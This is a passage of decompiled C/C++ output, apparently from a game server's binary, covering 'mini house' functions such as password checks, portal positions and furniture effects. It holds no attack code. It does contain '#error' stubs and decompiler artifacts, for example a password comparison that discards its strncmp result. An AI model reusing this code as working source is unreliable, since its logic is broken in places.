v5 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v5 = *(_DWORD *)v4; *((_DWORD *)v5 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v4 + 12); v5[16] = 0; v6 = DebugLogging::operator<<(&ChargedItemLog, "Roar Null return "); v7 = v6; if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } v9 = DebugLogging::operator<<(v7, (char *)&stru_598DE4); v10 = DebugLogging::operator<<(v9, v5); DebugLogging::operator<<(v10, &deb_LF); v23 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess"); __security_check_cookie(v22); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004E95B0) -------------------------------------------------------- #error "4E95B0: undefined or illegal type '#331' (funcsize=139)" //----- (004E9730) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanEnter(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.CanEnter >= 5u; } //----- (004E9740) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isPublic(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.isPublic; } //----- (004E9750) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PasswordComp(ShineObjectClass::ShineMiniHouse *this, char *Password) { char result; // al@2 int v3; // eax@5 if ( this->smh_Info.isPublic ) { result = 1; } else { if ( Password ) { strncmp(this->smh_Info.Password, Password, 8u); result = v3 == 0; } else { result = 0; } } return result; } //----- (004E9790) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_BroadcastNotify(ShineObjectClass::ShineMiniHouse *this, char *Chat) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int i; // edi@1 int v4; // eax@2 v2 = this; for ( i = 5 - (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 112))(); i < (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v2->gap0[0] + 108))(v2); ++i ) { v4 = (*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)&v2->gap0[0] + 104))(v2, i); if ( v4 ) (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v4 + 1836))(v4, Chat); } } //----- (004E97F0) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetRollBackLinkPos(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned int v2; // eax@1 char *v3; // eax@1 FieldOption::FieldAttr *v4; // eax@1 unsigned int v5; // ecx@2 char *v6; // ecx@2 v1 = this; v2 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v2; v3 = (char *)&namestring + 256 * v2; *(_QWORD *)v3 = *(_QWORD *)&this->smh_Info.RollBackPos.exitmapname.n3_name[0]; *((_DWORD *)v3 + 2) = *(_DWORD *)&this->smh_Info.RollBackPos.exitmapname.n3_name[8]; v3[12] = 0; strncpy(byte_1246F0FC, v3, 0xCu); byte_1246F108 = 0; v4 = FieldOption::fo_GetFieldAttr(&::this, byte_1246F0FC); if ( v4 ) { v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)&v4->mapidclient.n3_name[0]; *((_DWORD *)v6 + 1) = *(_DWORD *)&v4->mapidclient.n3_name[4]; *((_DWORD *)v6 + 2) = *(_DWORD *)&v4->mapidclient.n3_name[8]; v6[12] = 0; strncpy(byte_1246F11D, v6, 0x20u); byte_1246F129 = 0; dword_1246F13E = v1->smh_Info.loginloc.currentcoord.xy.x; dword_1246F142 = v1->smh_Info.loginloc.currentcoord.xy.y; } return (NPCManager::LinkInformTemplete *)&ShineObjectClass::ShineMiniHouse::smh_StaticRollBackPos; } // 1246F108: using guessed type char byte_1246F108; // 1246F129: using guessed type char byte_1246F129; // 1246F13E: using guessed type int dword_1246F13E; // 1246F142: using guessed type int dword_1246F142; //----- (004E98C0) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetEnterLinkPos(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned int v2; // eax@1 char *v3; // eax@1 unsigned int v4; // eax@1 char *v5; // eax@1 FieldOption::FieldAttr *v6; // esi@1 NPCManager::LinkInformTemplete *result; // eax@2 unsigned int v8; // eax@3 char *v9; // eax@3 unsigned int v10; // eax@3 MapInfo *v11; // edi@6 unsigned int v12; // eax@7 char *v13; // eax@7 v1 = this; v2 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v2; v3 = (char *)&namestring + 256 * v2; *(_QWORD *)v3 = *(_QWORD *)&this->smh_Info.EnterPos.entermapname.n3_name[0]; *((_DWORD *)v3 + 2) = *(_DWORD *)&this->smh_Info.EnterPos.entermapname.n3_name[8]; v3[12] = 0; strncpy(byte_1246F244, v3, 0xCu); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; byte_1246F250 = 0; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[0]; *((_DWORD *)v5 + 1) = *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[4]; *((_DWORD *)v5 + 2) = *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[8]; v5[12] = 0; v6 = FieldOption::fo_GetFieldAttr(&::this, v5); if ( v6 ) { v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)&v6->mapidclient.n3_name[0]; *((_DWORD *)v9 + 1) = *(_DWORD *)&v6->mapidclient.n3_name[4]; *((_DWORD *)v9 + 2) = *(_DWORD *)&v6->mapidclient.n3_name[8]; v9[12] = 0; v10 = BTree::operator__(&mapdatabox.mdb_btree, v9); if ( v10 == -1 ) LOWORD(v10) = -1; v10 = (unsigned __int16)v10; if ( (unsigned __int16)v10 < mapdatabox.mdb_maxmapid ) { v11 = mapdatabox.mdb_index[v10]; if ( v11 ) { v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)&v6->mapidclient.n3_name[0]; *((_DWORD *)v13 + 1) = *(_DWORD *)&v6->mapidclient.n3_name[4]; *((_DWORD *)v13 + 2) = *(_DWORD *)&v6->mapidclient.n3_name[8]; v13[12] = 0; strncpy(byte_1246F265, v13, 0xCu); byte_1246F271 = 0; dword_1246F286 = v11->RegenX; dword_1246F28A = v11->RegenY; } } result = (NPCManager::LinkInformTemplete *)&ShineObjectClass::ShineMiniHouse::smh_StaticEnterPos; } else { result = 0; } return result; } // 1246F250: using guessed type char byte_1246F250; // 1246F271: using guessed type char byte_1246F271; // 1246F286: using guessed type int dword_1246F286; // 1246F28A: using guessed type int dword_1246F28A; //----- (004E9A20) -------------------------------------------------------- PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineMiniHouse::so_LoginLocation(ShineObjectClass::ShineMiniHouse *this) { return &this->smh_Info.loginloc; } //----- (004E9A30) -------------------------------------------------------- #error "4E9A30: undefined or illegal type '#331' (funcsize=7)" //----- (004E9A50) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShineObject::so_mh_GetOwnerRegistNumber() { return 65535; } //----- (004E9A60) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetOwnerRegistNumber(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.EnterPlayerIndex[5]; } //----- (004E9A70) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_GetMemberPlayerHandleNumber(int spc) { return -1; } //----- (004E9A80) -------------------------------------------------------- #error "4E9A80: undefined or illegal type '#331' (funcsize=8)" //----- (004E9AA0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMemberPlayerRegistNumber(ShineObjectClass::ShineMiniHouse *this, int spc) { return this->smh_Info.EnterPlayerIndex[spc]; } //----- (004E9AB0) -------------------------------------------------------- #error "4E9AB0: undefined or illegal type '#331' (funcsize=3)" //----- (004E9AC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetInnerPlayerCount(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.EnterPlayerCount; } //----- (004E9AD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetInnerGMCount(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.EnterGMCount; } //----- (004E9AE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMaxInnerPlayer(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.MaxPlayer; } //----- (004E9AF0) -------------------------------------------------------- BriefInformationMiniHouse *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetBriefInfo(ShineObjectClass::ShineMiniHouse *this) { return &this->smh_BriefInfo; } //----- (004E9B00) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_mh_CompulsionMoveTo(int moveto) { return 4545; } //----- (004E9B10) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_mh_BuildingMiniHouse(#331 *this, #440 *a2, char *p_MHMapName, char *p_MHTItle, char *p_MHPassWord, int d_MaxEnter, char isItemInfoClose, char *sNotify) { return 1; } //----- (004E9B20) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetVisitReadyInfo(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_VISITREADY_ACK *visitready_ack) { visitready_ack->isPublic = this->smh_Info.isPublic; visitready_ack->maxvisiter = this->smh_Info.MaxPlayer - 5; visitready_ack->visitercnt = this->smh_Info.EnterPlayerCount - 5; return 1; } //----- (004E9B50) -------------------------------------------------------- #error "4E9B50: undefined or illegal type '#331' (funcsize=87)" //----- (004E9C50) -------------------------------------------------------- #error "4E9C50: undefined or illegal type '#331' (funcsize=27)" //----- (004E9CB0) -------------------------------------------------------- char *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetTitle(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.Title; } //----- (004E9CC0) -------------------------------------------------------- ItemBag *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetFurnitureInven(ShineObjectClass::ShineMiniHouse *this, int inventype) { ItemBag *result; // eax@2 switch ( inventype ) { case 3: result = (ItemBag *)&this->smh_Furniture.FurnitureInven; break; case 13: result = (ItemBag *)&this->smh_Furniture.AccessoryInven; break; case 14: result = (ItemBag *)&this->smh_Furniture.TileAllInven; break; case 16: result = (ItemBag *)&this->smh_Furniture.MiniGameInven; break; default: result = 0; break; } return result; } //----- (004E9D30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanObjAni(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 FurnitureHandle) { signed int v2; // eax@1 char *v3; // esi@1 unsigned int v4; // edx@6 v2 = 0; v3 = (char *)this->smh_FurnitureLastTouchTIme; while ( *(_WORD *)v3 != -1 ) { if ( FurnitureHandle == *(_WORD *)v3 ) { v4 = clockwatch.cw_CurrTick; if ( this->smh_FurnitureLastTouchTIme[v2].LastTouch + 20 >= clockwatch.cw_CurrTick ) return 0; LABEL_7: this->smh_FurnitureLastTouchTIme[v2].LastTouch = v4; return 1; } ++v2; v3 += 8; if ( v2 >= 294 ) break; } if ( v2 != 294 ) { this->smh_FurnitureLastTouchTIme[v2].FurnitureHandle = FurnitureHandle; v4 = clockwatch.cw_CurrTick; goto LABEL_7; } return 0; } //----- (004E9DA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_EffectApply(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nEffectHnd, PROTO_NC_MINIHOUSE_FURNITURE_EFFECT_CMD *pFurnitureEffectCmd) { ShineObjectClass::ShineMiniHouse *v3; // edi@1 unsigned int v4; // ecx@2 void *v5; // eax@5 void *v6; // esi@5 int v7; // eax@6 int v8; // eax@7 unsigned int v10; // eax@10 AbnormalStateDictionary::AbState::AbStateStr *v11; // ebx@11 void *v12; // eax@13 const char *v13; // ebx@14 unsigned __int16 v14; // ax@16 void *v15; // ebp@16 unsigned __int8 v16; // al@18 int v17; // edx@18 int v18; // eax@18 int v19; // edx@19 int v20; // eax@19 void *v21; // esi@19 int v22; // eax@21 unsigned __int8 v23; // al@22 int v24; // ebx@27 __int16 v25; // bx@31 int v26; // eax@34 int v27; // eax@35 int v28; // edx@38 SubAbStateInfo *v29; // eax@38 int v30; // eax@39 AbnormalStateInfo *v31; // ecx@39 int v32; // edx@39 int v33; // edx@40 int v34; // eax@43 int v35; // eax@43 unsigned __int8 v36; // al@44 int v37; // edx@44 int v38; // edx@45 int v39; // eax@45 DebugLogging *v40; // eax@45 DebugLogging *v41; // eax@45 DebugLogging *v42; // eax@45 int v43; // eax@45 int v44; // eax@46 int v45; // edx@50 int v46; // esi@54 int v47; // esi@55 int v48; // eax@58 SubAbStateInfo *v49; // eax@58 int v50; // eax@59 AbnormalStateInfo *v51; // ecx@59 int v52; // edx@59 int v53; // edx@62 int v54; // edx@63 int v55; // eax@63 DebugLogging *v56; // eax@63 DebugLogging *v57; // eax@63 DebugLogging *v58; // eax@63 int v59; // eax@63 int v60; // edx@64 int v61; // edx@64 ORToken v62; // [sp-18h] [bp-B8h]@13 signed int v63; // [sp-14h] [bp-B4h]@38 AbnormalStateDictionary::AbState::AbStateStr *v64; // [sp-10h] [bp-B0h]@38 unsigned int v65; // [sp-Ch] [bp-ACh]@38 char *v66; // [sp-8h] [bp-A8h]@38 signed int v67; // [sp-4h] [bp-A4h]@13 int v68; // [sp+0h] [bp-A0h]@13 int v69; // [sp+4h] [bp-9Ch]@13 char *v70; // [sp+8h] [bp-98h]@45 DebugLineFeed *v71; // [sp+Ch] [bp-94h]@45 int i; // [sp+18h] [bp-88h]@18 AbnormalStateDictionary::AbState::AbStateStr *AbstateDic; // [sp+1Ch] [bp-84h]@11 void *pFurnitureEffectTable; // [sp+20h] [bp-80h]@5 unsigned int AbstateIdx; // [sp+24h] [bp-7Ch]@10 int LocateXY; // [sp+28h] [bp-78h]@43 int v77; // [sp+2Ch] [bp-74h]@43 ORToken *nPreInnerPlayerCount; // [sp+30h] [bp-70h]@13 char MapPotalLinkToPos; // [sp+34h] [bp-6Ch]@44 char v80; // [sp+48h] [bp-58h]@14 char v81; // [sp+69h] [bp-37h]@14 int v82; // [sp+8Ah] [bp-16h]@14 int v83; // [sp+8Eh] [bp-12h]@14 v3 = this; if ( gMiniHouseObjEffect.m_pHead ) v4 = gMiniHouseObjEffect.m_pHead->nNumOfRecord; else v4 = 0; if ( nEffectHnd >= v4 || (v5 = CDataReader::GetRecord(&gMiniHouseObjEffect, nEffectHnd), v6 = v5, (pFurnitureEffectTable = v5) == 0) ) return 1; v7 = *(_DWORD *)((char *)v5 + 34); if ( v7 ) { v8 = v7 - 1; if ( v8 ) { if ( v8 != 1 ) return 2; goto LABEL_15; } v10 = BTree::operator__(&unk_608A28, (const char *)v6 + 38); AbstateIdx = v10; if ( v10 != -1 ) { v11 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, (AbnormalStateInfo::ABSTATEINDEX)v10); AbstateDic = v11; if ( !v11 ) return 2; goto LABEL_16; } return 2; } v69 = 0; v68 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)v6 + 38); v67 = (signed int)"ItemIdent"; nPreInnerPlayerCount = &v62; ORToken::ORToken(&v62, "RecallPoint"); v12 = OptionReader::or_SelectFrom(&recallpoint, v62, (char *)v67, v68, v69); if ( !v12 ) return 2; v13 = (char *)v12 + 36; v82 = *((_WORD *)v12 + 34); v83 = *((_WORD *)v12 + 35); strncpy(&v80, (const char *)v12 + 36, 0x21u); strncpy(&v81, v13, 0x21u); LABEL_15: v11 = AbstateDic; LABEL_16: v14 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 132))(v3); v15 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v14); if ( !v15 ) return 3; v16 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 112))(v3); v17 = *(_DWORD *)&v3->gap0[0]; i = 5 - v16; v18 = (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v17 + 108))(v3); if ( i < (unsigned __int8)v18 ) { while ( 1 ) { v19 = *(_DWORD *)&v3->gap0[0]; v69 = i; v20 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *, int))(v19 + 104))(v3, i); v21 = (void *)v20; if ( v20 ) { if ( (void *)v20 != v15 ) { v22 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v20 + 1220))(v20); if ( (unsigned int)(unsigned __int8)v22 >= *(_DWORD *)((char *)pFurnitureEffectTable + 82) ) { v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 1220))(v21); if ( (unsigned int)v23 <= *(_DWORD *)((char *)pFurnitureEffectTable + 86) ) { if ( *(_DWORD *)((char *)pFurnitureEffectTable + 70) == 1 ) goto ApplyAuthorityUser; if ( *(_DWORD *)((char *)pFurnitureEffectTable + 74) || *(_DWORD *)((char *)pFurnitureEffectTable + 78) ) { if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 1996))(v21) ) { v24 = (*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 1996))(v21); if ( v24 == (*(int (__thiscall **)(void *))(*(_DWORD *)v15 + 1996))(v15) && *(_DWORD *)((char *)pFurnitureEffectTable + 78) == 1 ) { LABEL_33: v11 = AbstateDic; ApplyAuthorityUser: *(&pFurnitureEffectCmd[1].nEffectHandle + pFurnitureEffectCmd->nApplyPlayerCnt++) = *((_WORD *)v21 + 2); v26 = *(_DWORD *)((char *)pFurnitureEffectTable + 34); if ( v26 ) { v27 = v26 - 1; if ( v27 ) { if ( v27 != 1 ) return 2; } else { v28 = *(_DWORD *)v21; v69 = 0; v68 = 0; v67 = -1; v66 = 0; v65 = clockwatch.cw_CurrTick; v64 = v11; v63 = 1; *(_DWORD *)&v62.ort_Name[0] = AbstateIdx; (*(void (__thiscall **)(void *, void *, unsigned int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, _DWORD, _DWORD))(v28 + 1528))( v21, v21, AbstateIdx, 1, v11, clockwatch.cw_CurrTick, 0, -1, 0, 0); v69 = v11->index->AbStataIndex; ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v21, v69); v29 = v11->subabstate[1].assa_info; if ( v29 ) { v30 = v29->KeepTime; v31 = v11->index; v32 = *(_DWORD *)v21; v69 = 1; v68 = v30; v67 = v31->AbStataIndex; (*(void (__thiscall **)(void *, signed int, int, signed int))(v32 + 992))(v21, v67, v30, 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v21, v11->index->AbStataIndex, v11->subabstate[1].assa_info->KeepTime, 1); } } } else { v33 = *(_DWORD *)v21; v69 = 1; if ( (unsigned __int8)(*(int (__thiscall **)(void *, signed int))(v33 + 368))(v21, 1) != 1 || (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 672))(v3) != 2 && (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 672))(v3) != 3 ) { v36 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 108))(v3); v37 = *(_DWORD *)v21; v69 = 10; v68 = 9; v67 = 6; nPreInnerPlayerCount = (ORToken *)v36; v66 = &MapPotalLinkToPos; if ( (unsigned __int8)(*(int (__thiscall **)(void *, char *, signed int, signed int, signed int))(v37 + 1472))( v21, &MapPotalLinkToPos, 6, 9, 10) ) { v44 = (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 108))(v3); if ( nPreInnerPlayerCount != (ORToken *)(unsigned __int8)v44 && i >= 5 ) --i; } else { v38 = *(_DWORD *)v21; v69 = (int)&deb_LF; v68 = (int)"] cannot out minihouse"; v39 = (*(int (__thiscall **)(void *, _DWORD, DebugLineFeed *))(v38 + 1664))( v21, "] cannot out minihouse", &deb_LF); v69 = (int)NameString::operator__(&namestring, (Name4 *)(v39 + 2)); v40 = DebugLogging::operator<<( &InnerMiniHouseLog, "ShineObjectClass::ShineMiniHouse::so_mh_EffectApply : player ["); v41 = DebugLogging::operator<<(v40, (char *)v69); v42 = DebugLogging::operator<<(v41, v70); DebugLogging::operator<<(v42, v71); v43 = *(_DWORD *)v21; v71 = 0; v70 = 0; v69 = 1669; (*(void (__thiscall **)(void *, signed int))(v43 + 1464))(v21, 1669); } } else { v34 = *(_DWORD *)v21; v69 = 1; (*(void (__thiscall **)(void *, signed int))(v34 + 400))(v21, 1); v35 = *(_DWORD *)v21; LocateXY = v82; v77 = v83; v69 = (int)&LocateXY; v68 = (int)&v80; (*(void (__thiscall **)(void *, char *, int *))(v35 + 404))(v21, &v80, &LocateXY); } } goto LABEL_50; } v11 = AbstateDic; } if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 1336))(v21) != -1 ) { v25 = (*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 1336))(v21); if ( v25 == (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v15 + 1336))(v15) && *(_DWORD *)((char *)pFurnitureEffectTable + 74) == 1 ) goto LABEL_33; v11 = AbstateDic; } } } } } } LABEL_50: v45 = *(_DWORD *)&v3->gap0[0]; ++i; if ( i >= (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v45 + 108))(v3) ) { v6 = pFurnitureEffectTable; break; } } } if ( (unsigned int)(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v15 + 1220))(v15) >= *(_DWORD *)((char *)v6 + 82) && (unsigned int)(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v15 + 1220))(v15) <= *(_DWORD *)((char *)v6 + 86) ) { *(&pFurnitureEffectCmd[1].nEffectHandle + pFurnitureEffectCmd->nApplyPlayerCnt++) = *((_WORD *)v15 + 2); v46 = *(_DWORD *)((char *)v6 + 34); if ( v46 ) { v47 = v46 - 1; if ( v47 ) { if ( v47 != 1 ) return 2; } else { v48 = *(_DWORD *)v15; v69 = 0; v68 = 0; v67 = -1; v66 = 0; v65 = clockwatch.cw_CurrTick; v64 = v11; v63 = 1; *(_DWORD *)&v62.ort_Name[0] = AbstateIdx; (*(void (__thiscall **)(void *, void *, unsigned int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, _DWORD, _DWORD))(v48 + 1528))( v15, v15, AbstateIdx, 1, v11, clockwatch.cw_CurrTick, 0, -1, 0, 0); v69 = v11->index->AbStataIndex; ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v15, v69); v49 = v11->subabstate[1].assa_info; if ( v49 ) { v50 = v49->KeepTime; v51 = v11->index; v52 = *(_DWORD *)v15; v69 = 1; v68 = v50; v67 = v51->AbStataIndex; (*(void (__thiscall **)(void *, signed int, int, signed int))(v52 + 992))(v15, v67, v50, 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v15, v11->index->AbStataIndex, v11->subabstate[1].assa_info->KeepTime, 1); return 0; } } } else { if ( (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 672))(v3) == 2 || (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 672))(v3) == 3 ) { v60 = *(_DWORD *)&v3->gap0[0]; v69 = 1; (*(void (__thiscall **)(ShineObjectClass::ShineMiniHouse *, signed int))(v60 + 512))(v3, 1); v61 = *(_DWORD *)v15; LocateXY = v82; v77 = v83; v69 = (int)&LocateXY; v68 = (int)&v80; (*(void (__thiscall **)(void *, char *, int *))(v61 + 404))(v15, &v80, &LocateXY); } else { v53 = *(_DWORD *)v15; v69 = 10; v68 = 9; v67 = 6; v66 = &MapPotalLinkToPos; if ( !(unsigned __int8)(*(int (__thiscall **)(void *, char *, signed int, signed int, signed int))(v53 + 1472))( v15, &MapPotalLinkToPos, 6, 9, 10) ) { v54 = *(_DWORD *)v15; v69 = (int)&deb_LF; v68 = (int)"] cannot out minihouse"; v55 = (*(int (__thiscall **)(void *, _DWORD, DebugLineFeed *))(v54 + 1664))( v15, "] cannot out minihouse", &deb_LF); v69 = (int)NameString::operator__(&namestring, (Name4 *)(v55 + 2)); v56 = DebugLogging::operator<<( &InnerMiniHouseLog, "ShineObjectClass::ShineMiniHouse::so_mh_EffectApply : player ["); v57 = DebugLogging::operator<<(v56, (char *)v69); v58 = DebugLogging::operator<<(v57, v70); DebugLogging::operator<<(v58, v71); v59 = *(_DWORD *)v15; v71 = 0; v70 = 0; v69 = 1669; (*(void (__thiscall **)(void *, signed int))(v59 + 1464))(v15, 1669); return 0; } } } } return 0; } //----- (004EA3B0) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_CurrentTargetHandle() { return -1; } //----- (004EA3C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DeActivePortal(ShineObjectClass::ShineMiniHouse *this) { this->smh_PortalList.isActivePortal = 0; this->smh_PortalList.PortalDeActiveTime = 0; return 1; } //----- (004EA3E0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalEffect(ShineObjectClass::ShineMiniHouse *this) { __int16 v1; // bp@1 void *result; // eax@2 unsigned int v3; // ebx@4 unsigned int v4; // edi@6 void *v5; // eax@7 void *v6; // esi@7 unsigned int v7; // eax@8 v1 = (*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 288))(); if ( v1 == -1 ) { result = 0; } else { if ( gMiniHouseObjEffect.m_pHead ) v3 = gMiniHouseObjEffect.m_pHead->nNumOfRecord; else v3 = 0; v4 = 0; if ( v3 ) { while ( 1 ) { v5 = CDataReader::GetRecord(&gMiniHouseObjEffect, v4); v6 = v5; if ( v5 ) { v7 = BTree::operator__(&stru_12510618, (const char *)v5 + 2); if ( v7 != -1 ) { if ( (_WORD)v7 != -1 && (_WORD)v7 == v1 ) break; } } ++v4; if ( v4 >= v3 ) goto LABEL_12; } result = v6; } else { LABEL_12: result = 0; } } return result; } //----- (004EA460) -------------------------------------------------------- #error "4EA460: undefined or illegal type '#331' (funcsize=371)" //----- (004EA920) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_CanFurnitureEmotion(#331 *this, #331 *a2, PROTO_NC_MINIHOUSE_FURNITURE_EMOTION_REQ *pReq) { return 5897; } //----- (004EA930) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsFurnitureEmotion(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nFurnitureHnd, char nPosition) { ShineObjectClass::ShineMiniHouse *v3; // esi@1 int v4; // ebx@1 int v5; // edi@1 int v6; // eax@2 char result; // al@5 v3 = this; v4 = (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 108))(); v5 = 5 - (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 112))(v3); if ( v5 >= v4 ) { LABEL_5: result = 1; } else { while ( 1 ) { v6 = (*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)&v3->gap0[0] + 104))(v3, v5); if ( v6 ) { if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 696))( v6, nFurnitureHnd, nPosition) == 1 ) break; } ++v5; if ( v5 >= v4 ) goto LABEL_5; } result = 0; } return result; } //----- (004EA990) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_mobile_ICanDamageTo(#331 *this, #331 *Left, char *from) { return 0; } //----- (004EA9A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_FurnitureEmotionStop(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nFurnitureHnd, #331 *owner) { char *v3; // esi@1 ShineObjectClass::ShineMiniHouse *v4; // edi@1 int v5; // ebp@1 int v6; // ebx@1 int v7; // eax@3 int v8; // esi@3 int v10; // [sp+10h] [bp-24h]@2 int nInnerPlayerCount; // [sp+14h] [bp-20h]@1 char *nc; // [sp+18h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@8 int v14; // [sp+30h] [bp-4h]@8 v3 = gpp.pp_Buffer; v4 = this; *(_WORD *)gpp.pp_Buffer = -29593; nc = v3; v5 = 0; nInnerPlayerCount = (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 108))(); v6 = 5 - (unsigned __int8)(*(int (__thiscall 